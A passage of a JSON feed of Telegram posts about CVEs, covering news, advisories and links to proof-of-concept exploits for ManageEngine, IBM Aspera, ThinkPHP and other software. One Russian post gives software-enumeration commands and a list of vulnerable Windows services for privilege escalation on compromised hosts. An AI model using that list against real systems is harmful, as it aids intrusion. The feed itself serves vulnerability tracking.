\u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0433\u0430.\n\n\u0422\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 ksmbd, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e Linux \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.15.61 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430.\n\n\ud83d\uddde \u0411\u043b\u043e\u0433 \u041a\u043e\u0434\u0435\u0431\u0430\u0439\n\n#news #linux #vulnerability", "creation_timestamp": "2026-08-04T06:00:05.163905Z"}, {"uuid": "e6c27188-81da-4752-a310-9a697b65f938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47629", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3024", "content": "Write-up of CVE-2022-47629 https://github.com/elttam/publications/blob/master/writeups/CVE-2022-47629.md", "creation_timestamp": "2026-08-03T01:09:18.640684Z"}, {"uuid": "bc1e4a03-dc35-4639-a21d-f179c8306053", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3064", "content": "CVE-2022-47966 https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis", "creation_timestamp": "2026-08-03T01:11:28.906605Z"}, {"uuid": "c3e142ca-47d6-48d8-bfa6-61f04eedfd29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3128", "content": "A Different Payload for CVE-2022-47966 https://vulncheck.com/blog/cve-2022-47966-payload", "creation_timestamp": "2026-08-03T01:13:43.205611Z"}, {"uuid": "fdb2b598-11c1-4d0c-9050-fb17998e3dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/3441", "content": "\ud83d\udca5PoC for CVE-2022-47966\n\nhttps://github.com/horizon3ai/CVE-2022-47966", "creation_timestamp": "2023-01-19T15:19:28.000000Z"}, {"uuid": "0f812b91-9c3a-40a4-ae97-c1cca907ecc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/hackprotectsi/470", "content": "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", "creation_timestamp": "2023-03-03T21:20:30.000000Z"}, {"uuid": "945ae1f3-3efd-4faf-9d12-0eda6755635e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "published-proof-of-concept", "source": "https://t.me/androidMalware/1832", "content": "MacStealer: Wi-Fi Client Isolation Bypass \nMacStealer can test Wi-Fi networks for client isolation bypasses (CVE-2022-47522) to intercept (steal) traffic toward other clients at the MAC layer \nhttps://github.com/vanhoefm/macstealer", "creation_timestamp": "2023-09-15T13:41:52.000000Z"}, {"uuid": "80eb96d2-3efe-45d9-8049-460b651c18d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47757", "type": "exploited", "source": "https://t.me/androidMalware/1876", "content": "Arbitrary code execution discoverd in Android imo-International Calls & Chat with 1B installs up to version 2022.11.1051 (CVE-2022-47757)  \nA path traversal vulnerability delivered using a deeplink can force the IMO app to write files into its data directory. This allows an attacker to write a library file that the app uses to dynamically load modules  \nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-47757", "creation_timestamp": "2023-05-05T23:33:28.000000Z"}, {"uuid": "697cf02e-0ce0-4eb9-83b2-da45de2fa994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/theninjaway1337/1178", "content": "CVE-2022-47966: Rapid7 Observed Exploitation of Critical ManageEngine Vulnerability\n\nRapid7 is responding to various compromises arising from the exploitation of\u00a0CVE-2022-47966, a pre-authentication remote code execution (RCE) vulnerability impacting at least 24 on-premise ManageEngine products. CVE-2022-47966 stems from a vulnerable third-party dependency on Apache Santuario.\nSeveral of the affected products are extremely popular with organizations and attackers, including ADSelfService Plus and ServiceDesk Plus. Patches were released in October and November of 2022; the exact timing of fixed version releases varies by product.\nOrganizations using any of the affected products listed in ManageEngine\u2019s advisory should update immediately and review unpatched systems for signs of compromise, as exploit code is publicly available and exploitation has already begun.\n\nhttps://www.rapid7.com/blog/post/2023/01/19/etr-cve-2022-47966-rapid7-observed-exploitation-of-critical-manageengine-vulnerability/", "creation_timestamp": "2023-01-20T13:53:23.000000Z"}, {"uuid": "b0501e91-a46b-46a9-98e8-8cebd175a577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://t.me/information_security_channel/49577", "content": "Recently Patched IBM Aspera Faspex Vulnerability Exploited in the Wild\nhttps://www.securityweek.com/recently-patched-ibm-aspera-faspex-vulnerability-exploited-in-the-wild/\n\nA vulnerability affecting IBM\u2019s Aspera Faspex file transfer solution, tracked as CVE-2022-47986, has been exploited in attacks.\nThe post Recently Patched IBM Aspera Faspex Vulnerability Exploited in the Wild (https://www.securityweek.com/recently-patched-ibm-aspera-faspex-vulnerability-exploited-in-the-wild/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2023-02-15T19:15:55.000000Z"}, {"uuid": "f0b27530-e8aa-4923-b44d-8c6eb601d12d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://t.me/thehackernews/3079", "content": "CISA has updated its Known Exploited Vulnerabilities catalog with three new vulnerabilities that are currently being exploited \u2014 IBM Aspera Faspex (CVE-2022-47986) and Mitel MiVoice Connect (CVE-2022-41223 and CVE-2022-40765).\n\nRead more: https://thehackernews.com/2023/02/us-cybersecurity-agency-cisa-adds-three.html", "creation_timestamp": "2023-02-22T06:49:53.000000Z"}, {"uuid": "1f13129b-9d98-49fc-b0ee-c456a7f87b7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/2959", "content": "\ud83d\udd25 Don't wait until it's too late!\n\nZoho ManageEngine users, patch your instances now to avoid falling victim to critical CVE-2022-47966 vulnerability.\n\nDetails: https://thehackernews.com/2023/01/zoho-manageengine-poc-exploit-to-be.html\n\nResearchers are about to release  PoC exploit code.", "creation_timestamp": "2023-01-17T11:48:32.000000Z"}, {"uuid": "72c04471-db02-4d30-8435-b503cd765ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/xakep_ru/13498", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Zoho ManageEngine\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Zoho ManageEngine. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CVE-2022-47966), \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u0439 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Apache Santuario.\n\nhttps://xakep.ru/2023/01/20/zoho-manageengine-rce/", "creation_timestamp": "2023-01-20T11:44:03.000000Z"}, {"uuid": "dbedcedb-7843-461c-ac46-6cfa853407e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47523", "type": "seen", "source": "https://t.me/canyoupwnme/6842", "content": "CVE-2022-47523: ManageEngine Password Manager Pro, PAM360 and Access Manager Plus SQL Injection Vulnerability \nhttps://www.tenable.com/blog/cve-2022-47523-manageengine-password-manager-pro-pam360-and-access-manager-plus-sql-injection", "creation_timestamp": "2023-01-06T01:03:59.000000Z"}, {"uuid": "68446762-27c0-4c2d-a1af-453d2cbf579c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47583", "type": "seen", "source": "https://t.me/cultofwire/1098", "content": "ANSI Terminal security in 2023 and finding 10 CVEs.\n\n\u041a\u0440\u0443\u0442\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0442 \u0414\u044d\u0432\u0438\u0434\u0430 \u041b\u0438\u0434\u0431\u0435\u0439\u0442\u0430 \u043f\u043e \u043f\u043e\u0438\u0441\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0430\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u043e\u0432 \u0441 \u0430\u043a\u0446\u0435\u043d\u0442\u043e\u043c \u043d\u0430 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e 10 CVE \u0434\u043b\u044f \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u043e\u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (Remote Code Execution, RCE), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\n\n\u041c\u0435\u043d\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: \nThe Terminal Escapes: Engineering unexpected execution from command line interfaces\n\n\u041d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 CVE \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0430\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430:\n- CVE-2022-45872 - iTerm2 DECRQSS\n- CVE-2022-44702 - Windows Terminal + WSL working directory\n- CVE-2022-47583 - mintty DECRQSS\n- CVE-2022-45063 - xterm OSC 50\n- CVE-2022-46387 - ConEmu Title\n- CVE-2023-39150 - ConEmu Title Take 2\n- CVE-2022-4170  - rxvt-unicode background\n- CVE-2022-23465 - SwiftTerm DECRQSS\n- CVE-2022-46663 - less OSC 8\n- CVE-2023-39726 - mintty OSC 50\n- CVE-2023-40359 - xterm ReGIS\n- CVE-2023-40216 - OpenBSD wscons parameter overflow", "creation_timestamp": "2023-11-08T13:02:31.000000Z"}, {"uuid": "99d692e8-7ae6-4aea-8ef9-552cb724e7b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/7053", "content": "A Different Payload for CVE-2022-47966\n\nhttps://vulncheck.com/blog/cve-2022-47966-payload", "creation_timestamp": "2023-02-15T07:40:18.000000Z"}, {"uuid": "b040afc9-4429-4fec-bf9f-6a397c6c3c2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "https://t.me/purp_sec/271", "content": "\ud83d\udee1\u0425\u0430\u043a\u0435\u0440\u044b \u0432\u0441\u0435 \u0435\u0449\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u0430\u0432\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ThinkPHP \u0438 OwnCloud\n\nGreyNoise \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0439 \u0432\u0441\u043f\u043b\u0435\u0441\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u0441\u0442\u0430\u0440\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c:\n\n\ud83d\udd35CVE-2022-47945 \u2014 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 ThinkPHP \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.0.14, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 lang, \u0435\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f lang_switch_on=true.\n\n\ud83d\udd35CVE-2023-49103 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 ownCloud/graphapi 0.2.x \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.2.1 \u0438 0.3.x \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.3.1. graphapi \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044e\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 GetPhpInfo.php, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 URL-\u0430\u0434\u0440\u0435\u0441. \u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043f\u043e \u044d\u0442\u043e\u043c\u0443 URL-\u0430\u0434\u0440\u0435\u0441\u0443 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b PHP (phpinfo), \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0435 \u0432\u0441\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041f\u0440\u043e\u0441\u0442\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f graphapi \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 RCE-\u0430\u0442\u0430\u043a\u0438. \u041a\u0440\u043e\u043c\u0435 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043f\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430.\n\n#blue_team #CVE", "creation_timestamp": "2026-08-05T00:00:22.174257Z"}, {"uuid": "a0273100-3ada-4adf-a945-36ab0173bd87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47949", "type": "exploited", "source": "https://t.me/vxunderground/1578", "content": "December 22nd, 2022, a group of researchers released ENLBufferPwn or now known as CVE-2022-47949.\n\nIt allows remote code execution on many first party Nintendo games such as Mario Kart, Animal Crossing, and more.\n\nIntel via lukOlejnik\n\nMore info:\nhttps://github.com/PabloMK7/ENLBufferPwn", "creation_timestamp": "2022-12-31T08:19:28.000000Z"}, {"uuid": "c77729c1-0901-4da9-982a-3e9598ca71e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/S_E_Reborn/5335", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442! \n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Windows, \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u043e\u0442 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432: \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441\u043b\u0435\u0436\u0435\u043d\u0438\u044f, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0438\u0433\u0440\u0443\u0448\u043a\u0438. \u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u0432\u043e\u0435\u043c \u043e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u044f \u043e\u0442 \u043b\u0438\u0446\u0430 NT AUTHORITY\\SYSTEM. \n\n\u041f\u0440\u0438\u0447\u0435\u043c, \u043a\u0430\u043a \u044f \u043f\u043e\u043d\u0438\u043c\u0430\u044e, \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0441\u043b\u0443\u0436\u0431\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0444\u0438\u0440\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e, \u0447\u0442\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u0430\u0435\u0442 \u043d\u0430\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0432\u0435\u043a\u0442\u043e\u0440 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \n\n\u0415\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u041f\u041e \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435:\n# \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0440\u0435\u0435\u0441\u0442\u0440\u0430\nGet-ChildItem \"HKLM:\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" | Get-ItemProperty | Where-Object {$_.DisplayName -ne $null} | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate\n\n# wmi\nwmic product get name,version,vendor  \n\n# Seatbelt\n.\\SeatBelt.exe InstalledProducts\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u0432\u0430\u043c\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0441\u043f\u0438\u0441\u043e\u0447\u043a\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u043b\u0443\u0436\u0431, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432\u0437\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u0430\u0447\u043a\u0435. \u041e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u043d\u0443\u0436\u043d\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 Exploit-Street, \u043d\u043e \u044f \u0447\u0442\u043e-\u0442\u043e \u043d\u0435 \u043c\u043e\u0433\u0443 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0442\u044c \u043a\u0430\u043a. \u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u0438\u0434\u0435\u0438?\n\nManageEngine ServiceDesk\n- https://github.com/horizon3ai/CVE-2021-44077\n\nManageEngine ADSelfService\n- https://github.com/synacktiv/CVE-2021-40539\n- CVE-2022-47966\n- CVE-XXXX-XXXX (\u0441 \u0432\u0435\u0440\u0441\u0438\u0438 ADSelfService Plus 4.2.9, 2012 \u0438 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.3 Build 6301)\n\nUserManager\n- CVE-2023-36047\n\nITunes\n- CVE-2024-44193\n\nRazer ( \u0434\u043e 3.7.1209.121307)\n- RazerEoP\n\nDatacard XPS Card Printer Driver \n- CVE-2024-34329\n\nAppGate\n- CVE-2019-19793\n\nSeagate\n- CVE-2022-40286\n\nAWS VPN Client\n- CVE-2022-25165\n\nAIDA (\u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 7.00.6742)\n- AIDA64DRIVER-EOP\n\nVboxSDS\n- CVE-2024-21111\n\nTeamViewer\n- CVE-2024-7479 CVE-2024-7481\n\nGamingService \u043e\u0442 XBOX\n- GamingServiceEoP\n- GamingServiceEoP5\n\nChrome Updater\n- CVE-2023-7261\n\nPlantronics Desktop Hub\n- CVE-2024-27460", "creation_timestamp": "2024-12-26T13:38:29.000000Z"}, {"uuid": "74b580bd-590d-455e-af03-4302af362c8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/club31337/1444", "content": "https://github.com/vonahisec/CVE-2022-47966-Scan", "creation_timestamp": "2024-11-11T00:20:24.000000Z"}, {"uuid": "f3f81fa3-cb2b-4345-beb5-db269a78f41c", "vulnerability_lookup_origin": 